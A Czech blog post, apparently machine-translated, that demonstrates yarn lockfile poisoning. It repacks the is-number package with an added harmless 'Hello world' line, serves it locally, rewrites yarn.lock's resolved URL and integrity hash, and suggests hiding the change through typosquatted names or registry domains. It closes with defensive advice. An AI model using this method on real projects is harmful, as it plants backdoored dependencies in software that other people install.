Vkládání zadních vrátek do NPM balíčků

❗️❗️❗️ Nikomu neradím, aby skutečně backdooroval nějaké open source balíčky, je to vlastně naopak, pojďme udělat svět lepším místem.

V tomto článku chci zopakovat kroky popsané ve výzkumu z roku 2019 a zjistit, zda je to stále problém – Proč mohou být soubory npm lockfiles bezpečnostním slepým bodem pro vkládání škodlivých modulů.

Stručně řečeno, při instalaci závislostí se váš správce balíčků nejprve podívá do souborů zámků, jako je yarn.lock. Zde může najít název balíčku, přesnou verzi balíčku, odkaz na zdroje a kontroly integrity, což pomáhá identifikovat, zda balíček nebyl poškozen nebo pozměněn.

is-number@^7.0.0:
  version "7.0.0"
  resolved "https://registry.yarnpkg.com/is-number/-/is-number-7.0.0.tgz#7535345b896734d5f80c4d06c50955527a14f12b"
  integrity sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==

Problém je v tom, že někdo může aktualizovat tento soubor zámku a vložit nový odkaz, který ukazuje na verzi balíčku se zadními vrátky . Zkusme replikovat tento útok a uvidíme, jak je to těžké.

Instalace balíčku

Jako příklad se pokusíme upravit balíček is-number. Na tomto balíčku není nic zvláštního, je jen malý, takže bude snadné jej upravit.

Pojďme to nainstalovat a zkontrolovat, zda to vůbec funguje.

yarn add is-number

index.js

const isNumber = require("is-number");

console.log(isNumber(1));
➜  malicious-lockfile git:(master) ✗ node index.js
true

příze.zámek

# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY.
# yarn lockfile v1


is-number@^7.0.0:
  version "7.0.0"
  resolved "https://registry.yarnpkg.com/is-number/-/is-number-7.0.0.tgz#7535345b896734d5f80c4d06c50955527a14f12b"
  integrity sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==

Zatím je vše legitimní.

Kopírování balíčku

Jak možná víte nebo jste si všimli v souboru zámku dříve, balíčky jsou podávány jako soubory tgz. Není těžké si jej postavit sami, stačí použít vestavěný příkaz npm npm pack .

mkdir assets # tmp folder which we will serve locally
cp -r node_modules/is-number assets # copy sources
cd assets/is-number # go to copied sources folder
npm pack # build tgz file

Výstup:

➜  is-number git:(master) ✗ npm pack
npm notice
npm notice 📦  [email protected]
npm notice === Tarball Contents ===
npm notice 1.1kB LICENSE
npm notice 6.5kB README.md
npm notice 411B  index.js
npm notice 1.6kB package.json
npm notice === Tarball Details ===
npm notice name:          is-number
npm notice version:       7.0.0
npm notice filename:      is-number-7.0.0.tgz
npm notice package size:  3.7 kB
npm notice unpacked size: 9.6 kB
npm notice shasum:        a01de2faca2efa81c86da01dc937ab13ccc03685
npm notice integrity:     sha512-U/Io4+4Bh+/sk[...]iHyXJG+svOLIg==
npm notice total files:   4
npm notice
is-number-7.0.0.tgz

To je v podstatě vše, k replikaci balíčku potřebujete pouze tyto kroky.

Změnit zdroje

Aktuální verze index.js je super jednoduchá.

/*!
 * is-number <https://github.com/jonschlinkert/is-number>
 *
 * Copyright (c) 2014-present, Jon Schlinkert.
 * Released under the MIT License.
 */

'use strict';

module.exports = function(num) {
  if (typeof num === 'number') {
    return num - num === 0;
  }
  if (typeof num === 'string' && num.trim() !== '') {
    return Number.isFinite ? Number.isFinite(+num) : isFinite(+num);
  }
  return false;
};

Nedělejme nic špatného, ​​ale vytiskneme Hello world 🌎

/*!
 * is-number <https://github.com/jonschlinkert/is-number>
 *
 * Copyright (c) 2014-present, Jon Schlinkert.
 * Released under the MIT License.
 */

'use strict';

module.exports = function(num) {
  // --- NEW LINE ---
  console.log('Hello world 🌎')
  /// --- NEW LINE ---
  if (typeof num === 'number') {
    return num - num === 0;
  }
  if (typeof num === 'string' && num.trim() !== '') {
    return Number.isFinite ? Number.isFinite(+num) : isFinite(+num);
  }
  return false;
};

Teď to zabalíme znovu, ale musíme vytisknout číslo integrity, které budeme potřebovat později, můžeme to udělat s --json volba.

➜  is-number git:(master) ✗ npm pack --json
[
  {
    "id": "[email protected]",
    "name": "is-number",
    "version": "7.0.0",
    "size": 3734,
    "unpackedSize": 9649,
    "shasum": "116dad4ddcf4f00721da4c156b3f4d500da5a2db",
    "integrity": "sha512-VFNyA7hugXJ/lnZGGIPNLValf7+Woij3nfhZv27IGB2U/ytqDv/GwusnbS2MvswTTjct1HV5I+vBe7RVIoo+Cw==",
    "filename": "is-number-7.0.0.tgz",
    "files": [
      {
        "path": "LICENSE",
        "size": 1091,
        "mode": 420
      },
      {
        "path": "README.md",
        "size": 6514,
        "mode": 420
      },
      {
        "path": "index.js",
        "size": 445,
        "mode": 420
      },
      {
        "path": "package.json",
        "size": 1599,
        "mode": 420
      }
    ],
    "entryCount": 4,
    "bundled": []
  }
]

Podávejte tento balíček

Pro tento experiment ho ani nebudeme publikovat na npm ani nikde jinde, můžeme tento soubor pouze naservírovat lokálně s http-serverem. Tento soubor bude místně přístupný přes http://127.0.0.1:8080/is-number-7.0.0.tgz .

Změna souboru zámku

Posledním přípravným krokem je změnit soubor zámku, nebude to těžké, protože známe shasum a číslo integrity z předchozího kroku.

yarn.lock před:

# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY.
# yarn lockfile v1


is-number@^7.0.0:
  version "7.0.0"
  resolved "https://registry.yarnpkg.com/is-number/-/is-number-7.0.0.tgz#7535345b896734d5f80c4d06c50955527a14f12b"
  integrity sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==

yarn.lock po:

# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY.
# yarn lockfile v1


is-number@^7.0.0:
  version "7.0.0"
  resolved "http://127.0.0.1:8080/is-number-7.0.0.tgz#116dad4ddcf4f00721da4c156b3f4d500da5a2db"
  integrity sha512-VFNyA7hugXJ/lnZGGIPNLValf7+Woij3nfhZv27IGB2U/ytqDv/GwusnbS2MvswTTjct1HV5I+vBe7RVIoo+Cw==

Zkontrolujte, zda to funguje

Nejprve musíme vyčistit node_modules, také budeme muset vymazat mezipaměť příze, protože jinak nainstaluje oficiální verzi, kterou předtím uložil do mezipaměti (když jsme ji instalovali poprvé).

➜  malicious-lockfile git:(master) ✗ rm -rf node_modules
➜  malicious-lockfile git:(master) ✗ yarn cache clean
➜  malicious-lockfile git:(master) ✗ yarn --verbose
yarn install v1.22.17
[EDITED]
verbose 0.173942113 current time: 2022-02-16T12:55:14.879Z
[1/4] 🔍  Resolving packages...
[2/4] 🚚  Fetching packages...
verbose 0.231553328 Performing "GET" request to "http://127.0.0.1:8080/is-number-7.0.0.tgz".
[3/4] 🔗  Linking dependencies...
verbose 0.287921518 Creating directory "[EDITED]".
verbose 0.290689753 Copying "[EDITED]" to "[EDITED]".
[EDITED]
[4/4] 🔨  Building fresh packages...
✨  Done in 0.17s.

Jak můžeme vidět v podrobné verzi, stáhli jsme místní verzi balíčku, takže to spustíme.

➜  malicious-lockfile git:(master) ✗ node index.js
Hello world 🌎
true

Proč na tom záleží?

Někoho už možná napadne:"Proč by mě to mělo zajímat? Aktualizoval jsi místní závislost a hacknul ses, dobrá práce brácho 🤣."

Problém je v tom, že to není tak jednoduché, když se podíváme, jak aktualizace souborů zámku obvykle vypadají v open source, uvidíme, že jsou ve většině případů před recenzenty skryté.

Btw, buďte upřímní právě teď, kolikrát předtím jste se osobně podívali na 500+ změn v souboru zámku?

Nebude tedy snadný úkol zaznamenat jednu změnu adresy URL v tomto bloku změn. Co když dokonce nahrajeme is-nomber do npm? package.json bude stále říkat, že používáme normální is-number , ale nainstalujeme is-nomber 🤷 Hodně štěstí, když zjistíte jedno neshodné písmeno ve více než 700 změněných řádcích.

I když NPM začne odstraňovat chybně napsané balíčky jako is-nomber , stále můžeme zaregistrovat yranpkg.com a napodobit tam přesnou cestu k balíčku. Hodně štěstí, když zaznamenáte změnu adresy URL o jedno písmeno ve více než 700 změněných řádcích.

Závěrečné poznámky

Musíte být obzvláště opatrní ohledně cizích lidí, kteří aktualizují závislosti ve vašem open source projektu. Může to vypadat jako první závazek studenta s otevřeným zdrojovým kódem, ale také to může být pokus o zadní vrátka od zkušeného černého klobouku. Možná byste dokonce měli povolit aktualizaci lockfiles a instalaci nových balíčků pouze prověřeným přispěvatelům, ale není to 💯 procento prověřené řešení (přečtěte si toto).

Dalším přístupem může být použití lockfile-lint, ale neměli byste se spoléhat pouze na tento skript, protože existují jiné ekosystémy než npm a mohou mít podobné problémy.

upd:Tento problém se netýká pouze příze, existují otevřené problémy/diskuse v pnpm, yarn1 &yarn2 a npm.

Související články

Dalším souvisejícím čtením by byla Pitva škodlivého backdoor streamu událostí

Pokud se vám tyto články líbily, podívejte se na tyto dva:

  • https://medium.com/hackernoon/im-harvesting-credit-card-numbers-and-passwords-from-your-site-here-s-how-9a8cb347c5b5
  • https://medium.com/hackernoon/part-2-how-to-stop-me-harvesting-credit-card-numbers-and-passwords-from-your-site-844f739659b9

Doufám, že jste se bavili 👋

Btw, buďme přátelé tady a na twitteru 👋